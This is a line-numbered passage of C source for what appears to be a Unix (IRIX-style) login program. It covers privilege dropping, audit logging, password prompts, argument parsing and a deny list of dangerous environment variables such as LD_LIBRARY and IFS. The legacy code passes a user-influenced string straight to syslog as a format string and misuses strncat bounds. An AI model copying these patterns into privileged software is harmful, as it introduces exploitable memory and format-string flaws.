1147
1148 /*
1149 * check if the password has expired, the user wants to
1150 * change password, etc.
1151 */
1152 verify_pwd(nopassword, priv_uid);
1153
1154 /*
1155 * print advisory messages such as the Copyright messages,
1156 *
1157 */
1158 pr_msgs(lastlogok);
1159
1160 /*
1161 * release the information held by the different "ia_"
1162 * routines since that information is no longer needed.
1163 */
1164 ia_closeinfo(uinfo);
1165
1166#ifdef EXECSH
1167
1168 if (quotactl(Q_SYNC, NULL, 0, NULL) == 0) {
1169 pid_t pid;
1170 char buf[10];
1171
1172 sprintf(buf, "%d", ia_uid);
1173 if ((pid = fork()) == 0) {
1174 execl(QUOTAWARN, QUOTAWARN, "-n", buf, (char *)0);
1175 exit(1);
1176 } else if (pid != -1) {
1177 (void) waitpid(pid, (int *)NULL, 0);
1178 }
1179 }
1180
1181 capv = CAP_FOWNER, ocap = cap_acquire (1, &capv);
1182 chmod(ttyn, S_IRUSR|S_IWUSR|S_IWGRP);
1183 chown(ttyn, ia_uid, ia_gid);
1184 cap_surrender (ocap);
1185
1186 /* Set the sat_id to the user's UID. */
1187 capv = CAP_AUDIT_CONTROL, ocap = cap_acquire (1, &capv);
1188 if (sysconf(_SC_AUDIT) > 0 && satsetid(ia_uid) < 0) {
1189 cap_surrender(ocap);
1190 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
1191 ia_audit("LOGIN", u_name, 0, "warning: satsetid failed");
1192 cap_surrender(ocap);
1193 exit(1);
1194 }
1195 cap_surrender(ocap);
1196
1197 capv = CAP_SETGID, ocap = cap_acquire (1, &capv);
1198 if( setgid(ia_gid) == -1 ) {
1199 cap_surrender (ocap);
1200 pfmt(stderr, MM_ERROR, ":319:Bad group id.\n");
1201 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
1202 ia_audit("LOGIN", u_name, 0, "Bad group id");
1203 cap_surrender(ocap);
1204 exit(1);
1205 }
1206 cap_surrender (ocap);
1207
1208 if (Initgroups && *Initgroups &&
1209 strncasecmp(Initgroups, "YES", 3) == 0) {
1210 /* Initialize the supplementary group access list. */
1211 capv = CAP_SETGID, ocap = cap_acquire (1, &capv);
1212 if (initgroups(u_name, ia_gid) == -1) {
1213 cap_surrender (ocap);
1214 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
1215 ia_audit("LOGIN", u_name, 0,
1216 "Could not initialize groups");
1217 cap_surrender(ocap);
1218 pfmt(stdout, MM_ERROR,
1219 ":320:Could not initialize groups.\n");
1220 exit(1);
1221 }
1222 if (initauxgroup(u_name, ia_gid, stdout) == -1) {
1223 cap_surrender (ocap);
1224 exit(1);
1225 }
1226 cap_surrender (ocap);
1227 } else {
1228 capv = CAP_SETGID, ocap = cap_acquire (1, &capv);
1229 if (setgroups(1, &ia_gid) == -1) {
1230 cap_surrender (ocap);
1231 pfmt(stdout, MM_ERROR,
1232 ":320:Could not initialize groups.\n");
1233 exit(1);
1234 }
1235 cap_surrender (ocap);
1236 }
1237
1238 /*
1239 * Start a new array session and set up this user's default
1240 * project ID while we still have root privileges
1241 */
1242 capv = CAP_SETUID, ocap = cap_acquire (1, &capv);
1243 newarraysess();
1244 setprid(getdfltprojuser(u_name));
1245 cap_surrender (ocap);
1246
1247 /*
1248 * Audit successful login (must be done as root, so we can't
1249 * audit anything past the setuid).
1250 */
1251 if (rflag_set || hflag) {
1252 /* expanded ia_audit for variable args */
1253 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
1254 satvwrite(SAT_AE_IDENTITY, SAT_SUCCESS,
1255 "LOGIN|+|%s|Remote login from %s@%s", u_name,
1256 hflag ? "?" : rusername, remotehost);
1257 cap_surrender(ocap);
1258 } else {
1259 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
1260 satvwrite(SAT_AE_IDENTITY, SAT_SUCCESS,
1261 "LOGIN|+|%s|Successful login on %s", u_name, ttyn);
1262 cap_surrender(ocap);
1263 }
1264
1265 capv = CAP_SETUID, ocap = cap_acquire (1, &capv);
1266#ifdef _SHAREII
1267 /*
1268 * Perform Share II resource limit checks and attach to the
1269 * user's lnode. Root is exempt from resource checks.
1270 */
1271 if (sgidladd(SH_LIMITS_LIB, RTLD_LAZY))
1272 {
1273 static const char *Myname = "login";
1274
1275 SH_HOOK_SETMYNAME(Myname);
1276 if (SH_HOOK_LOGIN(ia_uid, ttyn))
1277 {
1278 cap_surrender(ocap);
1279 exit(1);
1280 }
1281
1282 }
1283#endif /* _SHAREII */
1284 if( setuid(ia_uid) == -1 ){
1285 cap_surrender (ocap);
1286 pfmt(stderr, MM_ERROR, ":321:Bad user id.\n");
1287 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
1288 ia_audit("LOGIN", u_name, 0, "Bad user id");
1289 cap_surrender(ocap);
1290 exit(1);
1291 }
1292 cap_surrender (ocap);
1293#ifdef DCE
1294 /*
1295 * This routine sets up the basic environment.
1296 */
1297 setup_environ(envp, renvp, pdir, &pshell);
1298#endif /* DCE */
1299#ifdef AFS
1300 /*
1301 * AFS environment vars must be set after the setuid
1302 * so we get the proper identity for the KRBTKFILE name.
1303 * This code used to be executed in setup_environ.
1304 */
1305 if (afs_verify && __afs_iskauth()){
1306 for (i = 0; envinit[i] != NULL; ++i) {};
1307 (void) strncat(afs_tktfile, (*afs_gettktstring)(), sizeof(afs_tktfile));
1308 envinit[i] = afs_tktfile;
1309 capv = CAP_FOWNER, ocap = cap_acquire (1, &capv);
1310 chown((*afs_gettktstring)(), ia_uid, ia_gid);
1311 cap_surrender (ocap);
1312 }
1313 if (afs_verify) {
1314 envinit[++i] = afs_passwdexp;
1315 sprintf(afs_passwdexp, "AFS_PASSWORD_EXPIRES=%u", afs_exp);
1316 }
1317#endif /* AFS */
1318 /*
1319 * Set the user's capability set.
1320 */
1321 if (sysconf(_SC_CAP) > 0) {
1322 capv = CAP_SETPPRIV, ocap = cap_acquire (1, &capv);
1323 if (cap_set_proc(u_cap) == -1)
1324 {
1325 cap_surrender(ocap);
1326 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
1327 ia_audit("LOGIN", u_name, 0, "Bad capability set");
1328 cap_surrender(ocap);
1329 exit(1);
1330 }
1331 cap_free(u_cap);
1332 cap_free(ocap);
1333 }
1334
1335 /*
1336 * Re-enable the "BSD" signals SIGXCPU and SIGXFSZ if the
1337 * user doesn't want SVR4-type signal semantics.
1338 */
1339 if (SVR4_Signals && *SVR4_Signals &&
1340 !strncasecmp(SVR4_Signals, "NO", 2)) {
1341 (void) signal(SIGXCPU, SIG_DFL);
1342 (void) signal(SIGXFSZ, SIG_DFL);
1343 }
1344
1345 ENVSTRNCAT(minusnam, basename(pshell));
1346 execl(pshell, minusnam, (char*)0);
1347
1348 /* pshell was not an executable object file, maybe it
1349 * is a shell proceedure or a command line with arguments.
1350 * If so, turn off the SHELL= environment variable.
1351 */
1352 for (i = 0; envinit[i] != NULL; ++i) {
1353 if ((envinit[i] == shell) &&
1354 ((endptr = strchr(shell, '=')) != NULL))
1355 (*++endptr) = '\0';
1356 }
1357
1358
1359 if( access( pshell, R_OK|X_OK ) == 0 )
1360 execl(SHELL, "sh", pshell, (char*)0);
1361 pfmt(stderr, MM_ERROR, ":321:No shell\n");
1362 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
1363 ia_audit("LOGIN", u_name, 0, "No shell");
1364 cap_surrender(ocap);
1365 exit(1);
1366
1367#else /* !EXECSH */
1368 exit(0);
1369#endif /* EXECSH */
1370
1371 /* NOTREACHED */
1372}
1373
1374
1375/*
1376 * Procedure: dialpass
1377 *
1378 *
1379 * Notes: Opens either the DIAL_FILE or DPASS_FILE to determine
1380 * if there is a dialup password on this system.
1381*/
1382static int
1383dialpass(char *shellp, uid_t priv_uid)
1384{
1385 register FILE *fp;
1386 char defpass[PASS_MAX+1];
1387 char line[80];
1388 register char *p1, *p2;
1389
1390
1391 if ((fp = fopen(DIAL_FILE, "r")) == NULL) {
1392 return 0;
1393 }
1394 while ((p1 = fgets(line, sizeof(line), fp)) != NULL) {
1395 while (*p1 != '\n' && *p1 != ' ' && *p1 != '\t')
1396 p1++;
1397 *p1 = '\0';
1398 if (strcmp(line, rttyn) == 0)
1399 break;
1400 }
1401 (void) fclose(fp);
1402 if (p1 == NULL || (fp = fopen(DPASS_FILE, "r")) == NULL) {
1403 return 0;
1404 }
1405
1406 defpass[0] = '\0';
1407 p2 = 0;
1408 while ((p1 = fgets(line, sizeof(line)-1, fp)) != NULL) {
1409 while (*p1 && *p1 != ':')
1410 p1++;
1411 *p1++ = '\0';
1412 p2 = p1;
1413 while (*p1 && *p1 != ':')
1414 p1++;
1415 *p1 = '\0';
1416 if (strcmp(shellp, line) == 0)
1417 break;
1418
1419 /* Existing sites have /bin/sh as the default in d_passwd.
1420 * To keep them secure, check both SHELL (/sbin/sh)
1421 * and /bin/sh to use as the default. Last one found is
1422 * used if both are present.
1423 * BUG 184400
1424 */
1425 if ((strcmp(SHELL, line) == 0) || (strcmp("/bin/sh", line)==0))
1426 {
1427 SCPYN(defpass, p2);
1428 }
1429 p2 = 0;
1430 }
1431 (void) fclose(fp);
1432 if (!p2)
1433 p2 = defpass;
1434 if (*p2 != '\0')
1435 return gpass(gettxt(":332", "Dialup Password:"), p2, priv_uid);
1436 return 0;
1437}
1438
1439
1440/*
1441 * Procedure: gpass
1442 *
1443 * Notes: getpass() fails if it cannot open /dev/tty.
1444 * If this happens, and the real UID is privileged,
1445 * (in an ID-based privilege mechanism) then use the
1446 * current stdin and stderr.
1447 *
1448 * This allows login to work with network connections
1449 * and other non-ttys.
1450*/
1451static int
1452gpass(char *prmt, char *pswd, uid_t priv_uid)
1453{
1454 register char *p1;
1455 cap_value_t capv;
1456 cap_t ocap;
1457
1458 if (((p1 = mygetpass(prmt)) == (char *)0) && (getuid() == priv_uid)) {
1459 p1 = fgetpass(stdin, stderr, prmt);
1460 }
1461#ifdef AFS
1462 if (p1 && afs_verify) {
1463 if ((*afs_verify)(u_name, p1, &afs_exp, 0) == 0)
1464 return 0;
1465 }
1466#endif /* AFS */
1467#ifdef DCE
1468 if (p1 && dfs_authentication) {
1469 char *dce_err=NULL;
1470 if (dce_verify(u_name, ia_uid, ia_gid, p1, &dce_err)) {
1471 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
1472 if (dce_err) {
1473 satvwrite(SAT_AE_IDENTITY, SAT_FAILURE,
1474 "LOGIN|-|%s|DCE authentication failed: %s",
1475 u_name, dce_err);
1476 free(dce_err);
1477 } else {
1478 satvwrite(SAT_AE_IDENTITY, SAT_FAILURE,
1479 "LOGIN|-|%s|DCE authentication failed",
1480 u_name);
1481 }
1482 cap_surrender(ocap);
1483 return 1;
1484 }
1485 return 0;
1486 }
1487#endif /* DCE */
1488 if (!p1 || strcmp(crypt(p1, pswd), pswd)) {
1489 return 1;
1490 }
1491 return 0;
1492}
1493
1494
1495/*
1496 * Procedure: chk_args
1497 *
1498*/
1499static char **
1500chk_args(char **pp)
1501{
1502 char *p,
1503 *invalidopt = ":669:Invalid options -h, -v\n",
1504 *badservice = ":593:System service not installed\n";
1505
1506 pwflag = 0;
1507
1508 while (*pp) {
1509 p = *pp;
1510
1511 if (*p++ != '-') {
1512 return pp;
1513 }
1514 else {
1515 pp++;
1516 switch(*p++) {
1517 case 'v':
1518 case 'h':
1519 pfmt(stderr, MM_ERROR, invalidopt);
1520 pfmt(stderr, MM_ERROR, badservice);
1521 exit(1);
1522 break;
1523 case 'p':
1524 /*
1525 * XXX This is the SVR4 login -p option which
1526 * collides with the IRIX/BSD -p option. See
1527 * comments in get_options().
1528 */
1529 pwflag++;
1530 break;
1531 }
1532 }
1533 }
1534 return pp;
1535}
1536
1537
1538/*
1539 * Procedure: getargs
1540 *
1541 * Notes: scans the data enetered at the prompt and stores the
1542 * information in the argument passed. Exits if EOF is
1543 * enetered.
1544*/
1545static char **
1546getargs(char *inline)
1547{
1548 int c, llen = MAXLINE - 1;
1549 char *ptr = envbuf, **reply = args;
1550 enum {
1551 WHITESPACE, ARGUMENT
1552 } state = WHITESPACE;
1553
1554 while ((c = getc(stdin)) != '\n') {
1555 /*
1556 * check ``llen'' to avoid overflow on ``inline''.
1557 */
1558 if (llen > 0) {
1559 --llen;
1560 /*
1561 * Save a literal copy of the input in ``inline''.
1562 * which is checked in main() to determine if
1563 * this login process "talking" to another login
1564 * process.
1565 */
1566 *(inline++) = (char) c;
1567 }
1568 switch (c) {
1569 case EOF:
1570 /*
1571 * if the user enters an EOF character, exit
1572 * immediately with the value of one (1) so it
1573 * doesn't appear as if this login was successful.
1574 */
1575 exit(1);
1576 /* FALLTHROUGH */
1577 case ' ':
1578 case '\t':
1579 if (state == ARGUMENT) {
1580 *ptr++ = '\0';
1581 state = WHITESPACE;
1582 }
1583 break;
1584 case '\\':
1585 c = quotec();
1586 /* FALLTHROUGH */
1587 default:
1588 if (state == WHITESPACE) {
1589 *reply++ = ptr;
1590 state = ARGUMENT;
1591 }
1592 *ptr++ = (char) c;
1593 }
1594 /*
1595 * check if either the ``envbuf'' array or the ``args''
1596 * array is overflowing.
1597 */
1598 if (ptr >= envbuf + MAXLINE - 1
1599 || reply >= args + MAXARGS - 1 && state == WHITESPACE) {
1600 (void) putc('\n', stdout);
1601 break;
1602 }
1603 }
1604 *ptr = '\0';
1605 *inline = '\0';
1606 *reply = NULL;
1607
1608 return ((reply == args) ? NULL : args);
1609}
1610
1611/*
1612 * like getargs() but from string
1613 */
1614static char **
1615getargs2(char *inline)
1616{
1617 int c, llen = MAXLINE - 1;
1618 char *ptr = envbuf, **reply = args;
1619 enum {
1620 WHITESPACE, ARGUMENT
1621 } state = WHITESPACE;
1622
1623 while(c = *inline++) {
1624 if(llen > 0)
1625 --llen;
1626 switch(c) {
1627 case ' ':
1628 case '\t':
1629 if(state == ARGUMENT) {
1630 *ptr++ = '\0';
1631 state = WHITESPACE;
1632 }
1633 break;
1634 case '\\':
1635 inline = quotec2(inline, &c);
1636 default:
1637 if(state == WHITESPACE) {
1638 *reply++ = ptr;
1639 state = ARGUMENT;
1640 }
1641 *ptr++ = (char) c;
1642 }
1643 /*
1644 * check if either the ``envbuf'' array or the ``args''
1645 * array is overflowing.
1646 */
1647 if(ptr >= envbuf + MAXLINE - 1
1648 || reply >= args + MAXARGS - 1 && state == WHITESPACE) {
1649 break;
1650 }
1651 }
1652 *ptr = '\0';
1653 *reply = NULL;
1654 return ((reply == args) ? NULL : args);
1655}
1656
1657/*
1658 * Procedure: quotec
1659 *
1660 * Notes: Reads from the "standard input" of the tty. It is
1661 * called by the routine "getargs".
1662*/
1663static int
1664quotec(void)
1665{
1666 register int c, i, num;
1667
1668 switch (c = getc(stdin)) {
1669 case 'n':
1670 c = '\n';
1671 break;
1672 case 'r':
1673 c = '\r';
1674 break;
1675 case 'v':
1676 c = '\013';
1677 break;
1678 case 'b':
1679 c = '\b';
1680 break;
1681 case 't':
1682 c = '\t';
1683 break;
1684 case 'f':
1685 c = '\f';
1686 break;
1687 case '0':
1688 case '1':
1689 case '2':
1690 case '3':
1691 case '4':
1692 case '5':
1693 case '6':
1694 case '7':
1695 for (num=0, i=0; i<3; i++) {
1696 num = num * 8 + (c - '0');
1697 if ((c = getc(stdin)) < '0' || c > '7')
1698 break;
1699 }
1700 (void) ungetc(c, stdin);
1701 c = num & 0377;
1702 break;
1703 default:
1704 break;
1705 }
1706 return c;
1707}
1708
1709/*
1710 * like quotec() but from string
1711 */
1712static char *
1713quotec2(char *s, int *cp)
1714{
1715 register int c, i, num;
1716
1717 switch (c = *s++) {
1718 case 'n':
1719 c = '\n';
1720 break;
1721 case 'r':
1722 c = '\r';
1723 break;
1724 case 'v':
1725 c = '\013';
1726 break;
1727 case 'b':
1728 c = '\b';
1729 break;
1730 case 't':
1731 c = '\t';
1732 break;
1733 case 'f':
1734 c = '\f';
1735 break;
1736 case '0':
1737 case '1':
1738 case '2':
1739 case '3':
1740 case '4':
1741 case '5':
1742 case '6':
1743 case '7':
1744 for (num=0, i=0; i<3; i++) {
1745 num = num * 8 + (c - '0');
1746 c = *s++;
1747 if (c < '0' || c > '7')
1748 break;
1749 }
1750 s--;
1751 c = num & 0377;
1752 break;
1753 default:
1754 break;
1755 }
1756 *cp = c;
1757 return(s);
1758}
1759
1760static char *illegal[] = {
1761 "SHELL=",
1762 "HOME=",
1763 "LOGNAME=",
1764#ifndef NO_MAIL
1765 "MAIL=",
1766#endif
1767 "CDPATH=",
1768 "IFS=",
1769 "PATH=",
1770 "USER=",
1771 0
1772};
1773
1774static char *illegal_log[] = { /* we syslog if in this set */
1775 "_RLD", /* no =; any of the _RLD variables; include future */
1776 "LD_LIBRARY", /* no =; any of the 3 ISAs variables; include future */
1777 0
1778};
1779
1780/*
1781 * Procedure: legalenvvar
1782 *
1783 * Notes: Determines if it is legal to insert this
1784 * environmental variable.
1785*/
1786static int
1787legalenvvar(char *s)
1788{
1789 register char **p;
1790
1791 for (p = illegal; *p; p++)
1792 if (!strncmp(s, *p, strlen(*p)))
1793 return 0;
1794
1795 for (p = illegal_log; *p; p++)
1796 if (!strncmp(s, *p, strlen(*p))) {
1797 /* use sprintf to avoid possibility of overrunning
1798 * syslog buffer. */
1799 char msg[256];
1800 sprintf(msg, "ignored attempt to setenv(%.128s)", s);
1801 openlog("login", LOG_PID, LOG_AUTH);
1802 syslog(LOG_AUTH, msg);
1803 closelog();
1804 return 0;
1805 }
1806 return 1;
1807}
1808
1809
1810/*
1811 * Procedure: badlogin
1812 *
1813 *
1814 * Notes: log to the log file after "trys" unsuccessful attempts
1815*/
1816static void
1817badlogin(int trys, char **log_entry)
1818{
1819 int retval, count, fildes;
1820
1821
1822 failure_log();
1823
1824 /* Tries to open the log file. If succeed, lock it and write
1825 in the failed attempts */
1826 if ((fildes = open (LOGINLOG, O_APPEND|O_WRONLY)) == -1)
1827 return;
1828 else {
1829 (void) sigset(SIGALRM, donothing);
1830 (void) alarm(L_WAITTIME);
1831 retval = lockf(fildes, F_LOCK, 0L);
1832 (void) alarm(0);
1833 (void) sigset(SIGALRM, SIG_DFL);
1834 if (retval == 0) {
1835 for (count = 0 ; count < trys ; count++) {
1836 (void) write(fildes, log_entry[count],
1837 (unsigned) strlen (log_entry[count]));
1838 *log_entry[count] = '\0';
1839 }
1840 (void) lockf(fildes, F_ULOCK, 0L);
1841 (void) close(fildes);
1842 }
1843 return;
1844 }
1845}
1846
1847
1848/*
1849 * Procedure: donothing
1850 *
1851 * Notes: called by "badlogin" routine when SIGALRM is
1852 * caught. The intent is to do nothing when the
1853 * alarm is caught.
1854*/
1855static void
1856donothing(void) {}
1857
1858
1859/*
1860 * Procedure: getpass
1861 *
1862 * Restrictions:
1863 * fopen: none
1864 * setbuf: none
1865 * fclose: none
1866 *
1867 * Notes: calls "fgetpass" to read the user's password entry.
1868*/
1869static char *
1870mygetpass(char *prompt)
1871{
1872 char *p;
1873 FILE *fi;
1874
1875 if ((fi = fopen("/dev/tty", "r")) == NULL) {
1876 return (char*)NULL;
1877 }
1878 setbuf(fi, (char*)NULL);
1879 p = fgetpass(fi, stderr, prompt);
1880 if (fi != stdin)
1881 (void) fclose(fi);
1882 return p;
1883}
1884
1885
1886/*
1887 * Procedure: fgetpass
1888 * Restrictions:
1889 *
1890 * ioctl(2): None
1891 *
1892 * Notes: issues the "Password: " prompt and reads the input
1893 * after turning off character echoing.
1894*/
1895static char *
1896fgetpass(FILE *fi, FILE *fo, char *prompt)
1897{
1898 struct termio ttyb;
1899 tcflag_t flags;
1900 register char *p;
1901 register int c;
1902 static char pbuf[PBUFSIZE + 1];
1903 void (*sig)();
1904
1905 sig = signal(SIGINT, catch);
1906 intrupt = 0;
1907 (void) ioctl(fileno(fi), TCGETA, &ttyb);
1908 flags = ttyb.c_lflag;
1909 ttyb.c_lflag &= ~(ECHO | ECHOE | ECHOK | ECHONL);
1910 (void) ioctl(fileno(fi), TCSETAF, &ttyb);
1911 (void) fputs(prompt, fo);
1912 for (p = pbuf; !intrupt && (c = getc(fi)) != '\n' && c != EOF;) {
1913 if (p < &pbuf[PBUFSIZE])
1914 *p++ = (char) c;
1915 }
1916 *p = '\0';
1917 (void) putc('\n', fo);
1918 ttyb.c_lflag = flags;
1919 (void) ioctl(fileno(fi), TCSETAW, &ttyb);
1920 (void) signal(SIGINT, sig);
1921 if (intrupt)
1922 (void) kill(getpid(), SIGINT);
1923
1924 return pbuf;
1925}
1926
1927
1928/*
1929 * Procedure: catch
1930 *
1931 * Notes: called by fgetpass if the process catches an
1932 * INTERRUPT signal.
1933*/
1934static void
1935catch(void)
1936{
1937 ++intrupt;
1938}
1939
1940
1941/*
1942 * Procedure: uppercaseterm
1943 *
1944 * Restrictions:
1945 * ioctl(2): None
1946 *
1947 * Notes: if all input characters are upper case set the
1948 * corresponding termio so ALL input and output is
1949 * UPPER case.
1950*/
1951static void
1952uppercaseterm(char *strp)
1953{
1954 int upper = 0;
1955 int lower = 0;
1956 char *sp;
1957 struct termio termio;
1958
1959 for (sp = strp; *sp; sp++) {
1960 if (islower(*sp))
1961 lower++;
1962 else if (isupper(*sp))
1963 upper++;
1964 }
1965
1966 if (upper > 0 && lower == 0) {
1967 (void) ioctl(0,TCGETA,&termio);
1968 termio.c_iflag |= IUCLC;
1969 termio.c_oflag |= OLCUC;
1970 termio.c_lflag |= XCASE;
1971 (void) ioctl(0,TCSETAW,&termio);
1972 for (sp = strp; *sp; sp++)
1973 if (*sp >= 'A' && *sp <= 'Z' ) *sp += ('a' - 'A');
1974 }
1975}
1976
1977
1978/*
1979 * Procedure: findttyname
1980 *
1981 *
1982 * Notes: call ttyname(), but do not return syscon, systty,
1983 * or sysconreal do not use syscon or systty if console
1984 * is present, assuming they are links.
1985*/
1986static char *
1987findttyname(int fd)
1988{
1989 char *lttyn;
1990
1991 lttyn = ttyname(fd);
1992
1993 if (lttyn == NULL) return NULL;
1994
1995 if (((strcmp(lttyn, "/dev/syscon") == 0) ||
1996 (strcmp(lttyn, "/dev/sysconreal") == 0) ||
1997 (strcmp(lttyn, "/dev/systty") == 0)) &&
1998 (access("/dev/console", F_OK) == 0))
1999 lttyn = "/dev/console";
2000
2001 return lttyn;
2002}
2003
2004
2005
2006
2007/*
2008 * Procedure: init_defaults
2009 *
2010 * Restrictions:
2011 * defopen: None
2012 * lvlin: None
2013 * lvlvalid: None
2014 *
2015 * Notes: reads the "login" default file in "/etc/defaults"
2016 * directory. Also initializes other variables used
2017 * throughout the code.
2018*/
2019static void
2020init_defaults(void)
2021{
2022 FILE *defltfp;
2023 register char *ptr,
2024 *Pndefault = "login";
2025
2026 if ((defltfp = defopen(Pndefault)) != NULL) {
2027 if ((Console = defread(defltfp, "CONSOLE")) != NULL)
2028 if (*Console)
2029 Console = strdup(Console);
2030 else
2031 Console = NULL;
2032 if ((Altshell = defread(defltfp, "ALTSHELL")) != NULL)
2033 if (*Altshell)
2034 Altshell = strdup(Altshell);
2035 else
2036 Altshell = NULL;
2037 if ((Passreq = defread(defltfp, "PASSREQ")) != NULL)
2038 if (*Passreq)
2039 Passreq = strdup(Passreq);
2040 else
2041 Passreq = NULL;
2042 if ((Mandpass = defread(defltfp, "MANDPASS")) != NULL)
2043 if (*Mandpass)
2044 Mandpass = strdup(Mandpass);
2045 else
2046 Mandpass = NULL;
2047 if ((Initgroups = defread(defltfp, "INITGROUPS")) != NULL)
2048 if (*Initgroups)
2049 Initgroups = strdup(Initgroups);
2050 else
2051 Initgroups = NULL;
2052 if ((SVR4_Signals = defread(defltfp, "SVR4_SIGNALS")) != NULL)
2053 if (*SVR4_Signals)
2054 SVR4_Signals = strdup(SVR4_Signals);
2055 else
2056 SVR4_Signals = NULL;
2057 if ((Def_hertz = defread(defltfp, "HZ")) != NULL)
2058 if (*Def_hertz)
2059 Def_hertz = strdup(Def_hertz);
2060 else
2061 Def_hertz = NULL;
2062 if ((Def_path = defread(defltfp, "PATH")) != NULL)
2063 if (*Def_path)
2064 Def_path = strdup(Def_path);
2065 else
2066 Def_path = NULL;
2067#ifdef AUX_SECURITY
2068 if ((Def_sitepath = defread(defltfp, "SITECHECK")) != NULL)
2069 if (*Def_sitepath)
2070 Def_sitepath = strdup(Def_sitepath);
2071 else
2072 Def_sitepath = NULL;
2073#endif /* AUX_SECURITY */
2074
2075 /*
2076 * have to setlocale() here, to get msgs in LANG
2077 */
2078 if((Def_lang = getenv("LANG")) == NULL) {
2079 if((Def_lang = defread(defltfp, "LANG")) != NULL)
2080 Def_lang = *Def_lang? strdup(Def_lang) : NULL;
2081 }
2082 if(Def_lang)
2083 (void)setlocale(LC_ALL, Def_lang);
2084
2085 if ((Def_supath = defread(defltfp, "SUPATH")) != NULL)
2086 if (*Def_supath)
2087 Def_supath = strdup(Def_supath);
2088 else
2089 Def_supath = NULL;
2090
2091 if ((Def_syslog = defread(defltfp, "SYSLOG")) != NULL)
2092 if (Def_syslog && *Def_syslog) {
2093 if (strcmp (Def_syslog, "FAIL") == 0)
2094 syslog_fail = 1;
2095 else if (strcmp (Def_syslog, "ALL") == 0)
2096 syslog_success = syslog_fail = 1;
2097 }
2098
2099 if ((Def_notlockout = defread(defltfp, "LOCKOUTEXEMPT")) != NULL)
2100 if (*Def_notlockout)
2101 Def_notlockout = strdup(Def_notlockout);
2102 else
2103 Def_notlockout = NULL;
2104
2105 if ((ptr = defread(defltfp, "TIMEOUT")) != NULL)
2106 Def_timeout = (unsigned) atoi(ptr);
2107 if ((ptr = defread(defltfp, "SLEEPTIME")) != NULL)
2108 Def_slptime = atol(ptr);
2109 if ((ptr = defread(defltfp, "DISABLETIME")) != NULL)
2110 Def_distime = atol(ptr);
2111 if ((ptr = defread(defltfp, "MAXTRYS")) != NULL)
2112 Def_maxtrys = atol(ptr);
2113 if ((ptr = defread(defltfp, "LOGFAILURES")) != NULL)
2114 Def_failures = atol(ptr);
2115 if ((ptr = defread(defltfp, "LOCKOUT")) != NULL)
2116 Lockout = atol(ptr);
2117 if ((ptr = defread(defltfp, "UMASK")) != NULL)
2118 if (sscanf(ptr, "%lo", &Umask) != 1)
2119 Umask = DEFUMASK;
2120 if ((ptr = defread(defltfp, "IDLEWEEKS")) != NULL)
2121 Idleweeks = atoi(ptr);
2122 if ((ptr = defread(defltfp, "MACREMOTE")) != NULL)
2123 if (strcmp(ptr, "CLEARANCE") == 0)
2124 Mac_Remote = MAC_CLEARANCE;
2125
2126
2127 (void) defclose(defltfp);
2128 }
2129
2130 if (((mode_t) 0777) < Umask)
2131 Umask = DEFUMASK;
2132
2133 (void) umask(Umask);
2134
2135
2136 if (!Def_tz || (Def_tz && !*Def_tz))
2137 Def_tz = getenv("TZ");
2138
2139 if (!Def_tz)
2140 (void) strcat(timez, DEF_TZ);
2141 else
2142 ENVSTRNCAT(timez, Def_tz);
2143
2144 (void) putenv(timez);
2145
2146 if (Def_timeout > MAX_TIMEOUT)
2147 Def_timeout = MAX_TIMEOUT;
2148 if (Def_slptime > DEF_TIMEOUT)
2149 Def_slptime = DEF_TIMEOUT;
2150 if (Def_failures < 0 )
2151 Def_failures = LOGFAILURES;
2152 if (Def_failures > MAX_FAILURES)
2153 Def_failures = MAX_FAILURES;
2154 if (Def_maxtrys < 0 )
2155 Def_maxtrys = MAXTRYS;
2156
2157 return;
2158}
2159
2160/*
2161 * Procedure: exec_pass
2162 *
2163 * Notes: This routine forks, changes the uid of the forked process
2164 * to the user logging in, and execs the "/usr/bin/passwd"
2165 * command. It returns the status of the "exec" to the
2166 * parent process. All "working" privileges of the forked
2167 * (child) process are cleared. Also, P_SYSOPS is cleared
2168 * from the maximum set to indicate to "passwd" that this
2169 * "exec" originated from the login scheme.
2170*/
2171static int
2172exec_pass(char *usernam)
2173{
2174 int status, w;
2175 pid_t pid;
2176 cap_t ocap;
2177 cap_value_t capv;
2178
2179 if ((pid = fork()) == 0) {
2180 if (ia_uid > 0) {
2181 cap_value_t cv[] = {CAP_SETUID, CAP_SETGID};
2182
2183 ocap = cap_acquire (ia_gid > 0 ? 2 : 1, cv);
2184 if (ia_gid > 0 && setgid(ia_gid) == -1) {
2185 cap_surrender (ocap);
2186 exit(127);
2187 }
2188 if (setuid(ia_uid) == -1) {
2189 cap_surrender (ocap);
2190 exit(127);
2191 }
2192 cap_surrender (ocap);
2193 }
2194 (void) execl(ia_pwdpgm, ia_pwdpgm, usernam, (char *)NULL);
2195 exit(127);
2196 }
2197
2198 while ((w = (int) wait(&status)) != pid && w != -1)
2199 ;
2200
2201 if (w != -1 && status > 0) {
2202 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
2203 ia_audit("LOGIN", u_name, 0, "password program returned error");
2204 cap_surrender(ocap);
2205 }
2206 if (w < 0 || status < 0) {
2207 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
2208 ia_audit("LOGIN", u_name, 0, "error execing password program");
2209 cap_surrender(ocap);
2210 }
2211
2212 return (w == -1) ? w : status;
2213}
2214
2215
2216#ifdef EXECSH
2217
2218extern int _getpwent_no_shadow;
2219static int
2220doremotelogin(char *host)
2221{
2222 struct passwd *pw;
2223
2224#ifdef sgi
2225 (void) alarm(Def_timeout);
2226#endif
2227 /* caller already read remote and local usernames */
2228 getstr(terminal, sizeof(terminal)-1, "Terminal type");
2229#ifdef sgi
2230 (void) alarm(0);
2231#endif
2232
2233 /*
2234 * handle args to login name
2235 */
2236 if( !(remenvp = getargs2(luser)))
2237 lusername[0] = 0;
2238 else
2239 (void)strncpy(lusername, *remenvp++, sizeof(lusername)-1);
2240 (void)set_lang(remenvp);
2241
2242 SCPYN(u_name, lusername);
2243 if (getuid())
2244 return(-1);
